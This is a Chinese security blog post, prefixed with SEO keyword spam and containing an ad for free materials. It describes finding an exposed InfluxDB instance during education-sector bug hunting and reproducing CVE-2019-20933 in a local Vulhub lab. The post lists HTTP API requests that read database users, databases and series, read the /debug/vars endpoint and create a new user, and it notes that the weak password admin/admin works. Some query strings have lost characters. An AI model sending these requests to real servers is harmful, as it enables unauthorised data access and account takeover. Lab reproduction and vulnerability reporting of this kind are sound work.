昆明网站建设首选互维,医院的网络推广方案,网页设计图片欣赏,淘宝客如何建立自己的网站0x1.前言 本文章仅用于信息安全防御技术分享#xff0c;因用于其他用途而产生不良后果#xff0c;作者不承担任何法律责任#xff0c;请严格遵循中华人民共和国相关法律法规#xff0c;禁止做一切违法犯罪行为。文中涉及漏洞均以提交至教育漏洞平台。 0x2.背景
在某…0x1.前言 本文章仅用于信息安全防御技术分享因用于其他用途而产生不良后果作者不承担任何法律责任请严格遵循中华人民共和国相关法律法规禁止做一切违法犯罪行为。文中涉及漏洞均以提交至教育漏洞平台。 0x2.背景
在某次Edusrc挖掘过程中我发现了一个404状态码的ip站如下图所示 我的直觉告诉我这个站不太简单。于是我信息搜集了一下端口为8086的常见服务 当我看到这个InfluxDB的时候我灵感突然来了虽然我当时不知道是什么我尝试着进行抓包看看返回包但是多尝试一下没想到这个站点还真的是InfluxDB服务 后续利用我先不讲我们先好好讲一下InfluxDB是一个怎么样的数据库。
0x3.InfluxDB介绍 InfluxDB是一个由InfluxData开发的开源时序型数据库。它由Go写成着力于高性能地查询与存储时序型数据。InfluxDB被广泛应用于存储系统的监控数据IoT行业的实时数据等场景。 在了解了InfluxDB的基本概念之后我们得先了解一下什么是时序性数据库。
为了方便理解我将时序性数据库与大家常用的关系型数据库进行一个以表格的形式进行对比展示
特征时序性数据库 (TSDB)关系型数据库数据模型专门设计用于时间序列数据包括时间戳、测量值、标签和字段。通用数据模型表格结构支持多种数据类型。查询语言使用专门的查询语言如InfluxQL或Flux用于时间序列数据的高效查询和分析。使用SQL进行复杂的查询操作支持多表关联和通用数据分析。性能和优化针对高性能时间序列数据存储和查询进行了优化具有高吞吐量和低延迟。面向通用工作负载不一定专注于高性能时间序列数据处理。应用领域用于监控、日志分析、传感器数据、度量数据、物联网应用等其中时间序列数据是核心。用于各种不同类型的应用领域不限于时间序列数据。数据完整性和一致性提供数据完整性和一致性但通常没有像关系型数据库中的ACID属性那么强调。通常强调ACID属性以确保数据的一致性和完整性。复杂查询支持不支持像关系型数据库中的复杂JOIN操作和多表关联查询。支持复杂的SQL查询包括JOIN操作和多表查询。数据建模和模式定义更灵活数据模型通常根据需求动态定义不要求固定的模式。需要明确定义模式表的结构通常静态。扩展性通常针对高并发和大数据量的时间序列数据设计支持水平扩展。支持垂直和水平扩展但可能需要更多配置和优化。主要优势高性能时间序列数据存储和查询专注于时间序列应用。通用性、数据完整性、支持复杂查询和关联操作。
然后我也整理了一下MySQL与InfluxDB概念差异和相关概念扩展用一个表格来进行对比展示
概念MySQLInfluxDB数据类型和键支持多种数据类型需要定义主键和外键不同数据类型数据模型专注于时间序列关系模型使用关系数据库管理系统 (RDBMS) 模型专注于时间序列数据没有复杂关系事务处理支持事务处理使用ACID属性无事务处理数据写入是原子操作SQL查询使用SQL进行数据查询和操作使用InfluxQL或Flux查询语言特化于时间序列数据复制和集群支持主从复制、主主复制和集群配置提供高可用性和数据冗余的集群配置数据存储单位表 (table)MeasurementSeries是由Measurement和相关的标签Tags组成的具体时间序列数据集合。基本数据单位列 (column)Tag (标签可用于高效过滤和索引)、Field (字段不用于索引)、Timestamp (时间戳作为唯一主键)连续查询不适用支持连续查询可自动汇总历史数据适用领域通用的关系型数据存储需求高性能、高可用性的时间序列数据存储和查询主要优势复杂关系模型、事务处理、通用数据存储时间序列数据的高性能、高吞吐量
然后这里整理了一些常见的 InfluxQL Http Api的语句
GET /query?qSHOW USERS #查看当前所有的数据库用户
GET /query?qSHOW DATABASES #查看所有数据库
GET /query?qSHOW MEASUREMENTSdb某个db的名称 #查询数据库中所含的表
GET /query?qSHOW FIELD KEYSdb某个db的名称 # 查看当前数据库所有表的字段
GET /query?qshow seriesdb某个db的名称 # 查看series
GET /debug/vars #debug敏感泄露
POST /query?qCREATE USER XXX WITH PASSWORD XXX # 这一点需要伪造jwt0x4.本地漏洞复现 实战的利用过程就不放上来了放上来也是厚码还不如直接本地复现讲的更清楚。 使用Vulhub在本地虚拟机上搭建
帮助网安学习全套资料S信免费领取 ① 网安学习成长路径思维导图 ② 60网安经典常用工具包 ③ 100SRC分析报告 ④ 150网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集含答案 ⑧ APP客户端安全检测指南安卓IOS
没有搭建过vulhub靶场可以参考官方文档https://vulhub.org/#/docs/install-docker/
搭建好后我们直接使用如下命令
cd /vulhub/influxdb/CVE-2019-20933
docker-compose up -d开放在默认的8086端口环境启动后访问xxx:8086即可开始复现 虽然是404但是抓包回显发现是influxdb服务 我简单尝试之后发现是弱口令admin/admin。如果发现弱口令不可以的话可以伪造jwt我就不多赘述了。
然后我们来进行测试
debug敏感泄露
GET /debug/vars 查看当前所有的数据库用户
GET /query?qSHOW USERS 查看所有数据库
GET /query?qSHOW DATABASES 查询数据库中所含的表
GET /query?qSHOW MEASUREMENTSdb某个db的名称 查看当前数据库所有表的字段
GET /query?qSHOW FIELD KEYSdb某个db的名称 查看series
GET /query?qshow seriesdb某个db的名称 任意用户写
POST /query?qCREATE USER XXX WITH PASSWORD ‘XXX’ GET /query?qSHOW USERS
再来查看一下 最后别忘了关闭容器
docker stop cve-2019-20933_web_10x6.总结
这篇主要是分享一下经验也就是说不一定状态码是404的站点就一定不能利用。我相信阅读完此篇然后去复现一下你对InfluxDB的利用肯定有不一样的理解~